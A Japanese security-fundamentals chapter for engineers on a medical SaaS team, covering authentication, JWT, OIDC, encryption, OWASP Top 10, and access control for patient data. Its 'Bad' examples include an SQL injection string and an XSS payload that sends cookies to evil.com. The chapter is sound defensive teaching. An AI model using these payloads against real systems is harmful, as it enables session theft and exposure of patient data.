セキュリティの基礎 (Security Fundamentals)
はじめに
セキュリティは医療 SaaS において最も重要な品質特性の一つだ。患者の個人情報や診療データを扱う以上、セキュリティの基本を理解し、日常的に意識することはすべてのエンジニアの責任である。
この章では、Web アプリケーションセキュリティの基礎を、医療データの文脈で解説する。
認証 (Authentication) vs 認可 (Authorization)
よく混同される2つの概念だが、明確に区別する必要がある。
| 概念 | 英語 | 質問 | 例 |
|---|---|---|---|
| 認証 | Authentication (AuthN) | 「あなたは誰か?」 | ログイン、身分証の提示 |
| 認可 | Authorization (AuthZ) | 「何ができるか?」 | 権限チェック、アクセス制御 |
認証 (AuthN):
ユーザー → "ID: tanaka, Password: ****" → システム: "田中さんですね"
認可 (AuthZ):
田中さん → "患者Aのカルテを見たい" → システム: "田中さんは担当医なので閲覧OK"
田中さん → "システム設定を変更したい" → システム: "管理者権限がないので拒否"
認証の方式
セッションベース認証:
- ユーザーがログイン → サーバーがセッション ID を生成
- セッション ID を Cookie に保存
- 以降のリクエストで Cookie を自動送信
- サーバーがセッション ID からユーザーを特定
トークンベース認証 (JWT):
- ユーザーがログイン → サーバーが JWT を発行
- クライアントがトークンを保存
- 以降のリクエストで
Authorization: Bearer <token>ヘッダーを付与 - サーバーがトークンを検証
JWT の構造:
Header.Payload.Signature
{
"sub": "user-123", // Subject (ユーザーID)
"role": "doctor", // カスタムクレーム
"exp": 1709715600, // 有効期限
"iat": 1709712000 // 発行時刻
}
JWT の注意点:
- トークンに機密情報を入れない (Base64 でデコード可能)
- 有効期限を短く設定し、リフレッシュトークンで更新する
- サーバーサイドでの無効化が難しい (ブラックリスト方式が必要)
OAuth 2.0 / OIDC
OAuth 2.0: 認可のためのフレームワーク。「第三者にリソースへのアクセスを許可する」仕組み。
OpenID Connect (OIDC): OAuth 2.0 の上に構築された認証レイヤー。「この人が誰であるか」を確認できる。
OIDC の認証フロー (Authorization Code Flow):
ユーザー → アプリ: "ログインしたい"
アプリ → IdP (認証プロバイダ): "認証してください"
IdP → ユーザー: "ログイン画面を表示"
ユーザー → IdP: "ID/Password を入力"
IdP → アプリ: "認可コードを返す"
アプリ → IdP: "認可コード + Client Secret でトークンを要求"
IdP → アプリ: "ID Token + Access Token を返す"
医療 SaaS での考慮:
- SSO (Single Sign-On) の実装: 医療機関の既存の認証基盤との連携
- MFA (Multi-Factor Authentication): 患者データへのアクセスには MFA を推奨
暗号化 (Encryption)
対称鍵暗号 (Symmetric Encryption)
暗号化と復号に同じ鍵を使う。
- AES (Advanced Encryption Standard): 業界標準。AES-256 が推奨
- 用途: データの保存時の暗号化 (encryption at rest)
平文 + 鍵 → [暗号化] → 暗号文
暗号文 + 鍵 → [復号] → 平文
非対称鍵暗号 (Asymmetric Encryption)
公開鍵で暗号化し、秘密鍵で復号する。
- RSA, ECDSA: 代表的なアルゴリズム
- 用途: TLS、デジタル署名、鍵交換
送信者: 平文 + 受信者の公開鍵 → [暗号化] → 暗号文
受信者: 暗号文 + 自分の秘密鍵 → [復号] → 平文
ハッシュ (Hashing)
一方向の変換。元のデータに戻すことはできない。
- SHA-256: データの完全性検証
- bcrypt / argon2: パスワードのハッシュ化 (ソルト + ストレッチング)
// パスワードのハッシュ化 (bcrypt)
import bcrypt from 'bcrypt';
const hash = await bcrypt.hash(password, 12); // 12 = cost factor
const isValid = await bcrypt.compare(inputPassword, storedHash);
絶対にやってはいけないこと:
- パスワードを平文で保存する
- MD5 や SHA-1 でパスワードをハッシュする (脆弱)
- 独自の暗号アルゴリズムを作る
OWASP Top 10
Web アプリケーションの最も重大なセキュリティリスク。
1. インジェクション (Injection)
悪意のあるデータがコマンドやクエリの一部として解釈される。
SQL Injection:
-- Bad: ユーザー入力を直接連結
SELECT * FROM patients WHERE name = '' OR '1'='1'; --'
-- Good: パラメータ化クエリ (Prepared Statement)
SELECT * FROM patients WHERE name = $1;
// ORM を使っていれば基本的に安全
const patient = await prisma.patient.findMany({
where: { name: userInput }, // 自動的にエスケープされる
});
2. 認証の不備 (Broken Authentication)
- セッショントークンの漏洩
- 弱いパスワードポリシー
- ブルートフォース攻撃への未対策
対策: レート制限、MFA、セッションの適切な管理。
3. 機密データの露出 (Sensitive Data Exposure)
- 通信の暗号化 (HTTPS) の未実施
- データベースの暗号化の未実施
- ログへの機密情報の出力
医療 SaaS では特に重要: 患者名、診療情報、保険情報は最高レベルの保護が必要。
4. XSS (Cross-Site Scripting)
悪意のあるスクリプトがユーザーのブラウザで実行される。
<!-- Bad: ユーザー入力をそのまま表示 -->
<div>こんにちは、<script>document.location='https://evil.com/?cookie='+document.cookie</script>さん</div>
<!-- Good: エスケープ処理 -->
<div>こんにちは、{escapedUserName}さん</div>
対策:
- テンプレートエンジンの自動エスケープ機能を使う (React は JSX でデフォルトエスケープ)
- Content Security Policy (CSP) ヘッダーを設定
HttpOnlyCookie でスクリプトからのアクセスを防ぐ
5. CSRF (Cross-Site Request Forgery)
ユーザーが意図しないリクエストを、認証済みのセッションで送信させる。
1. ユーザーが raica にログイン中
2. 攻撃者のサイトを閲覧
3. 攻撃者のサイトに仕込まれたフォームが raica に自動送信
4. ユーザーのセッションで意図しない操作が実行される
対策:
- CSRF トークンの使用
SameSite=Strict(またはLax) Cookie 属性- 重要な操作には再認証を要求
その他の主要リスク
| リスク | 対策 |
|---|---|
| セキュリティの設定ミス | デフォルト設定の変更、不要な機能の無効化 |
| 安全でないデシリアライゼーション | 入力の検証、型の厳密なチェック |
| 既知の脆弱性を持つコンポーネント | 依存パッケージの定期的な更新、npm audit |
| 不十分なロギングと監視 | セキュリティイベントのログ記録と監視 |
セキュアコーディングの実践
入力の検証 (Input Validation)
// バリデーションライブラリを使う (例: zod)
import { z } from 'zod';
const PatientSchema = z.object({
name: z.string().min(1).max(100),
email: z.string().email(),
birthDate: z.string().date(),
phoneNumber: z.string().regex(/^0\d{1,4}-\d{1,4}-\d{4}$/),
});
// リクエストの検証
const result = PatientSchema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({ errors: result.error.issues });
}
最小権限の原則 (Principle of Least Privilege)
- DB ユーザーには必要最小限の権限のみ付与
- IAM ロールは最小限のポリシーで構成
- API のスコープを適切に制限
シークレット管理
- 環境変数やシークレット管理サービス (AWS Secrets Manager) を使用
.envファイルは.gitignoreに追加- ハードコードされたシークレットを排除
// Bad
const API_KEY = "sk-1234567890abcdef";
// Good
const API_KEY = process.env.API_KEY;
セキュリティヘッダー
// 主要なセキュリティヘッダー
{
"Strict-Transport-Security": "max-age=31536000; includeSubDomains",
"X-Content-Type-Options": "nosniff",
"X-Frame-Options": "DENY",
"Content-Security-Policy": "default-src 'self'",
"Referrer-Policy": "strict-origin-when-cross-origin"
}
医療データのセキュリティ
データの分類
| 分類 | 例 | 保護レベル |
|---|---|---|
| 極秘 | 診療記録、検査結果 | 暗号化 + アクセスログ + 最小限のアクセス |
| 機密 | 患者の連絡先、保険情報 | 暗号化 + アクセス制御 |
| 内部 | システム設定、業務データ | アクセス制御 |
| 公開 | ヘルプページ、利用規約 | なし |
監査ログ (Audit Trail)
医療データへのアクセスは、すべて記録する必要がある。
// 監査ログの記録項目
interface AuditLog {
timestamp: Date;
userId: string;
action: 'read' | 'create' | 'update' | 'delete';
resourceType: 'patient' | 'appointment' | 'medical_record';
resourceId: string;
ipAddress: string;
details?: Record<string, unknown>;
}
アクセス制御のパターン
RBAC (Role-Based Access Control): 役割に基づくアクセス制御
ロール: 医師 → 権限: 患者データの閲覧・編集
ロール: 受付 → 権限: 予約データの閲覧・編集、患者データの閲覧
ロール: 管理者 → 権限: すべてのデータの閲覧・編集 + システム設定
ABAC (Attribute-Based Access Control): 属性に基づくアクセス制御。より柔軟。
条件: ユーザーの所属クリニック == 患者の登録クリニック
AND ユーザーのロール IN (医師, 看護師)
AND 現在時刻 IN 診療時間
→ アクセス許可
Agent-first 開発においてこれが重要な理由
セキュリティは、AI コーディングエージェントが最も見落としやすい領域の一つだ。
- セキュリティ要件を明示できる: 「入力は必ず zod でバリデーションして」「SQL は Prepared Statement で」と具体的に指示できる
- 脆弱なコードを検出できる: エージェントが生成したコードに XSS や SQL Injection の脆弱性がないかレビューできる
- 医療データの取り扱いルールを伝えられる: 「このデータは監査ログが必要」「暗号化して保存すべき」といった要件を漏れなく伝えられる
- 認証・認可の設計を指示できる: 「RBAC で設計して」「このエンドポイントは管理者のみアクセス可能に」と明確に指示できる
エージェントは「動くコード」を書くことに最適化されているが、セキュリティは「動かないようにする」ことも含む。この視点は人間が持つべきだ。
Further Reading
- OWASP Top Ten - Web アプリセキュリティの必須知識
- OWASP Cheat Sheet Series - 具体的な対策のチートシート集
- Web Security Academy (PortSwigger) - ハンズオンで学べるセキュリティ演習
- Auth0 Docs - 認証・認可の実装ガイド
- CWE (Common Weakness Enumeration) - ソフトウェアの脆弱性カタログ